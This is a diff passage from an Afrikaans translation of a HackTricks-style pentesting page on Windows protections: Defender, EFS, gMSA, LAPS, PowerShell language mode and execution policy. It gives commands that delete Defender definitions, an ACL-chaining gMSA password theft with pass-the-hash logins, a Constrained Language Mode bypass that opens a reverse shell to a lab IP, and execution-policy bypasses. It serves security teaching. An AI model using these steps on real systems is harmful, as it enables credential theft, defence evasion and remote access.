Aktiewe Directory (onbereikbare domeinbeheerder). -- Wagwoorde van die rekeninge van Windows dienste +- Wagwoord van die rekenaarrekening van die Active Directory (onbereikbare domain controller). +- Wagwoorde van die rekeninge van Windows-dienste - Wagwoorde vir geskeduleerde take -- Meer (wagwoord van IIS toepassings...) +- Meer (wagwoord van IIS-toepassings...) ### NTDS.dit -Dit is die databasis van die Aktiewe Directory. Dit is slegs teenwoordig in Domein Beheerders. +Dit is die databasis van die Active Directory. Dit is slegs op Domain Controllers teenwoordig. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting gereedskap soos **`WinPEAS`**. Tog is daar maniere om **hierdie beskermings te omseil**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is 'n Antivirus wat beskikbaar is in Windows 10 en Windows 11, en in weergawes van Windows Server. Dit **blokkeer** algemene pentesting-instrumente soos **`WinPEAS`**. Daar is egter maniere om hierdie beskermings te **omseil**. ### Kontroleer -Om die **status** van **Defender** te kontroleer, kan jy die PS cmdlet **`Get-MpComputerStatus`** uitvoer (kontroleer die waarde van **`RealTimeProtectionEnabled`** om te weet of dit aktief is): +Om die **status** van **Defender** te kontroleer kan jy die PS-cmdlet **`Get-MpComputerStatus`** uitvoer (kyk na die waarde van **`RealTimeProtectionEnabled`** om te weet of dit aktief is):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-Om dit te enumerate kan jy ook uitvoer: +Om dit te enumereer kan jy ook die volgende uitvoer: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -101,90 +101,126 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Encrypted File System (EFS) +## Gekodeerde Lêerstelsel (EFS) -EFS beveilig lêers deur middel van versleuteling, wat 'n **simmetriese sleutel** gebruik wat bekend staan as die **File Encryption Key (FEK)**. Hierdie sleutel word versleuteld met die gebruiker se **publieke sleutel** en gestoor binne die versleutelde lêer se $EFS **alternatiewe datastroom**. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK uit die $EFS-stroom te ontsleutel. Meer besonderhede kan [hier](https://en.wikipedia.org/wiki/Encrypting_File_System) gevind word. +EFS beveilig lêers deur enkripsie en gebruik 'n **simmetriese sleutel** bekend as die **File Encryption Key (FEK)**. Hierdie sleutel word met die gebruiker se **openbare sleutel** gekodeer en in die gekodeerde lêer se $EFS **alternatiewe datastraam** gestoor. Wanneer ontsleuteling nodig is, word die ooreenstemmende **privaat sleutel** van die gebruiker se digitale sertifikaat gebruik om die FEK vanaf die $EFS-stroom te ontsleutel. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Ontsleuteling scenario's sonder gebruiker inisiatief** sluit in: +**Ontsleuteling-scenario's sonder gebruikersinisiëring** sluit in: -- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), verskuif word, word hulle outomaties ontsleutel. -- Versleutelde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor transmissie ontsleutel. +- Wanneer lêers of vouers na 'n nie-EFS lêerstelsel verskuif word, soos [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), word hulle outomaties ontsleuteld. +- Gekodeerde lêers wat oor die netwerk via die SMB/CIFS-protokol gestuur word, word voor transmissie ontsleuteld. -Hierdie versleutelingmetode stel **deursigtige toegang** tot versleutelde lêers vir die eienaar in staat. Dit is egter nie moontlik om bloot die eienaar se wagwoord te verander en in te log om ontsleuteling toe te laat nie. +Hierdie enkripsiemetode laat die eienaar toe om op 'n **deursigtige wyse** toegang tot die gekodeerde lêers te hê. Net die eienaar se wagwoord verander en aanmeld sal egter nie ontsleuteling moontlik maak nie. -**Belangrike Punten**: +Belangrike punte: -- EFS gebruik 'n simmetriese FEK, versleuteld met die gebruiker se publieke sleutel. -- Ontsleuteling gebruik die gebruiker se privaat sleutel om toegang tot die FEK te verkry. -- Outomatiese ontsleuteling vind plaas onder spesifieke toestande, soos om na FAT32 te kopieer of netwerk transmissie. -- Versleutelde lêers is toeganklik vir die eienaar sonder addisionele stappe. +- EFS gebruik 'n simmetriese FEK, wat met die gebruiker se openbare sleutel gekodeer is. +- Ontsleuteling gebruik die gebruiker se privaat sleutel om by die FEK uit te kom. +- Outomatiese ontsleuteling vind plaas onder spesifieke toestande, soos kopieer na FAT32 of netwerktransmissie. +- Gekodeerde lêers is vir die eienaar toeganklik sonder ekstra stappe. -### Kontroleer EFS inligting +### Kontroleer EFS-inligting -Kontroleer of 'n **gebruiker** hierdie **diens** gebruik het deur te kyk of hierdie pad bestaan:`C:\users\\appdata\roaming\Microsoft\Protect` +Kyk of 'n **gebruiker** hierdie **diens** gebruik het deur te kyk of hierdie pad bestaan:`C:\users\\appdata\roaming\Microsoft\Protect` -Kontroleer **wie** toegang tot die lêer het met cipher /c \\ -Jy kan ook `cipher /e` en `cipher /d` binne 'n vouer gebruik om al die lêers te **versleutel** en **ontsleutel**. +Kontroleer **wie** toegang tot die lêer het met die gebruik van cipher /c \ +Jy kan ook gebruik maak van `cipher /e` en `cipher /d` binne 'n gids om alle lêers te **enkripteer** en **ontsleutel**. -### Ontsleuteling van EFS lêers +### Ontsleuteling van EFS-lêers -#### Wees Owerheidstelsel +#### Wees SYSTEM -Hierdie metode vereis dat die **slagoffer gebruiker** 'n **proses** binne die gasheer **uitvoer**. As dit die geval is, kan jy met behulp van `meterpreter` sessies die token van die gebruiker se proses naboots (`impersonate_token` van `incognito`). Of jy kan eenvoudig `migrate` na die gebruiker se proses. +Hierdie metode vereis dat die **slagoffer-gebruiker** 'n **proses** op die gasheer laat loop. As dit die geval is, kan jy met 'n `meterpreter` sessie die token van die gebruiker se proses simuleer (`impersonate_token` van `incognito`). Of jy kan net na die gebruiker se proses `migrate`. -#### Ken die gebruiker se wagwoord +#### Weet die gebruiker se wagwoord {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Group Managed Service Accounts (gMSA) +## Gegroepeerde Beheerde Diensrekeninge (gMSA) -Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "**Wagwoord verval nooit**" instelling geaktiveer het, bied gMSA's 'n veiliger en meer hanteerbare oplossing: +Microsoft het **Group Managed Service Accounts (gMSA)** ontwikkel om die bestuur van diensrekeninge in IT-infrastrukture te vereenvoudig. Anders as tradisionele diensrekeninge wat dikwels die "Password never expire" instelling aangeskakel het, bied gMSA's 'n veiliger en beter hanteerbare oplossing: -- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel. -- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen vergrendeling en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verbeter. -- **Meervoudige Gasheerondersteuning**: gMSA's kan oor verskeie gasheers gedeel word, wat hulle ideaal maak vir dienste wat op verskeie bedieners loop. -- **Geplande Taakvermoë**: Anders as bestuurde diensrekeninge, ondersteun gMSA's die uitvoering van geplande take. -- **Vereenvoudigde SPN-bestuur**: Die stelsel werk outomaties die Service Principal Name (SPN) by wanneer daar veranderinge aan die rekenaar se sAMaccount besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig. +- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein- of rekenaarbeleid. Hierdie proses word deur Microsoft's Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel. +- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen kontosluitings en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verhoog. +- **Ondersteuning vir Meerdere Host**: gMSA's kan oor meerdere hosts gedeel word, wat hulle ideaal maak vir dienste wat op meerdere bedieners loop. +- **Geskeduleerde Taakvermoë**: Anders as managed service accounts, ondersteun gMSA's die uitvoering van geskeduleerde take. +- **Vereenvoudigde SPN-bestuur**: Die stelsel werk die Service Principal Name (SPN) outomaties by wanneer daar veranderinge aan die rekenaar se sAMaccount-besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig. -Die wagwoorde vir gMSA's word in die LDAP eienskap _**msDS-ManagedPassword**_ gestoor en word outomaties elke 30 dae deur Domein Beheerders (DC's) gereset. Hierdie wagwoord, 'n versleutelde datablad bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om toegang tot hierdie inligting te verkry, is 'n beveiligde verbinding soos LDAPS nodig, of die verbinding moet geverifieer word met 'Sealing & Secure'. +Die wagwoorde vir gMSA's word gestoor in die LDAP-eiendom _**msDS-ManagedPassword**_ en word outomaties elke 30 dae deur Domain Controllers (DCs) gereset. Hierdie wagwoord, 'n enkodeerde datablik bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, onttrek word, wat 'n veilige omgewing verseker. Om by hierdie inligting te kom, is 'n beveiligde verbinding soos LDAPS vereis, of die verbinding moet met 'Sealing & Secure' geverifieer wees. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -Jy kan hierdie wagwoord lees met [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +Jy kan hierdie wagwoord uitlees met [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Vind meer inligting in hierdie pos**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) + +Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**. + +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) + +In baie omgewings kan laag‑privilegie gebruikers sonder om die DC te kompromitteer na gMSA‑geheime draai deur miskonfigureerde objek‑ACLs te misbruik: + +- 'n groep wat jy kan beheer (bv. via GenericAll/GenericWrite) word toegestaan met `ReadGMSAPassword` oor 'n gMSA. +- Deur jouself by daardie groep te voeg, erf jy die reg om die gMSA se `msDS-ManagedPassword` blob oor LDAP te lees en bruikbare NTLM credentials af te lei. + +Tipiese werkvloeistroom: + +1) Ontdek die pad met BloodHound en merk jou foothold‑principals as Owned. Soek na rande soos: +- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) Voeg jouself by die tussengroep wat jy beheer (voorbeeld met bloodyAD): +```bash +bloodyAD --host -d -u -p add groupMember +``` +3) Lees die gMSA-beheerde wagwoord via LDAP en lei die NTLM-hash af. NetExec outomatiseer die uittrekking van `msDS-ManagedPassword` en die omskakeling na NTLM: +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` +4) Meld aan as die gMSA deur die NTLM-hash te gebruik (geen plaintext nodig nie). As die rekening in Remote Management Users is, sal WinRM direk werk: +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` +Notes: +- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. +- gMSAs word dikwels voorsien van plaaslike regte soos WinRM; verifieer groep-lidmaatskap (bv. Remote Management Users) om laterale beweging te beplan. +- As jy net die blob nodig het om die NTLM self te bereken, sien MSDS-MANAGEDPASSWORD_BLOB-structuur. + -Kyk ook na hierdie [webblad](https://cube0x0.github.io/Relaying-for-gMSA/) oor hoe om 'n **NTLM relay aanval** uit te voer om die **wagwoord** van **gMSA** te **lees**. ## LAPS -Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai van [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrateur wagwoorde in staat. Hierdie wagwoorde, wat **ewekansig**, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde is beperk deur ACLs aan gemagtigde gebruikers. Met voldoende toestemmings wat toegeken word, word die vermoë om plaaslike admin wagwoorde te lees, verskaf. +Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai by [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrator-wagwoorde in staat. Hierdie wagwoorde, wat **willekeurig gegenereer**, uniek en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde word deur ACLs beperk tot gemagtigde gebruikers. As voldoende toestemmings toegeken is, kan die vermoë om plaaslike admin-wagwoorde te lees verkry word. + {{#ref}} ../active-directory-methodology/laps.md {{#endref}} -## PS Beperkte Taalmodus +## PS Constrained Language Mode -PowerShell [**Beperkte Taalmodus**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **sluit baie van die funksies** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, slegs goedgekeurde .NET tipes, XAML-gebaseerde werksvloeie, PowerShell klasse, en meer, af. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **sluit baie van die funksies af** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, beperking tot goedgekeurde .NET-tipes, XAML-gebaseerde workflows, PowerShell-klasse, en meer. ### **Kontroleer** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` -### Omseil +### Bypass ```bash #Easy bypass Powershell -version 2 ``` -In huidige Windows sal daardie Bypass nie werk nie, maar jy kan [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) gebruik.\ -**Om dit te kompileer, mag jy** **moet** _**'n Verwysing Voeg**_ -> _Blader_ -> _Blader_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**. +In huidige Windows sal daardie bypass nie werk nie, maar jy kan [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Om dit te compileer mag jy** **moet** _**Voeg 'n verwysing by**_ -> _Blaai_ -> _Blaai_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**. #### Direkte bypass: ```bash @@ -194,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -U kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell** kode in enige proses uit te voer en die beperkte modus te omseil. Vir meer inligting, kyk: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell**-kode in enige proses uit te voer en die constrained mode te omseil. Vir meer inligting sien: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## PS Uitvoeringsbeleid -Standaard is dit op **beperk.** Hoofmaniere om hierdie beleid te omseil: +Standaard is dit ingestel op **restricted.** Hoof maniere om hierdie beleid te omseil: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -218,35 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -Meer kan [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) gevind word. +Meer inligting is beskikbaar [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Security Support Provider Interface (SSPI) -Is die API wat gebruik kan word om gebruikers te autentiseer. +Is die API wat gebruik kan word om gebruikers te verifieer. -Die SSPI sal verantwoordelik wees vir die vind van die toepaslike protokol vir twee masjiene wat wil kommunikeer. Die verkiesde metode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter autentiseringsprotokol gebruik sal word, hierdie autentiseringsprotokolle word Security Support Provider (SSP) genoem, is binne elke Windows-masjien in die vorm van 'n DLL geleë en beide masjiene moet dieselfde ondersteun om te kan kommunikeer. +Die SSPI is verantwoordelik om die geskikte protokol te vind vir twee masjiene wat wil kommunikeer. Die voorkeurmetode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter verifikasieprotokol gebruik sal word; hierdie verifikasieprotokolle word Security Support Provider (SSP) genoem, is geleë in elke Windows-masjien in die vorm van 'n DLL en beide masjiene moet dieselfde ondersteun om te kan kommunikeer. ### Hoof SSPs -- **Kerberos**: Die verkiesde een +- **Kerberos**: Die voorkeur een - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** en **NTLMv2**: Compatibiliteitsredes +- **NTLMv1** and **NTLMv2**: Kompatibiliteitsredes - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Webbedieners en LDAP, wagwoord in die vorm van 'n MD5-hash +- **Digest**: Webservers en LDAP, wagwoord in die vorm van 'n MD5-hash - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSL en TLS +- **Schannel**: SSL and TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Dit word gebruik om die protokol te onderhandel wat gebruik moet word (Kerberos of NTLM, met Kerberos as die standaard) +- **Negotiate**: Dit word gebruik om die protokol te onderhandel wat gebruik moet word (Kerberos of NTLM, met Kerberos as die verstek) - %windir%\Windows\System32\lsasrv.dll -#### Die onderhandeling kan verskeie metodes of slegs een bied. +#### Die onderhandeling kan verskeie metodes of net een aanbied. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n kenmerk wat 'n **toestemmingsprompt vir verhoogde aktiwiteite** moontlik maak. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **toestemmingprompt vir verhoogde aktiwiteite** moontlik maak. + {{#ref}} uac-user-account-control.md {{#endref}} +## References + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}}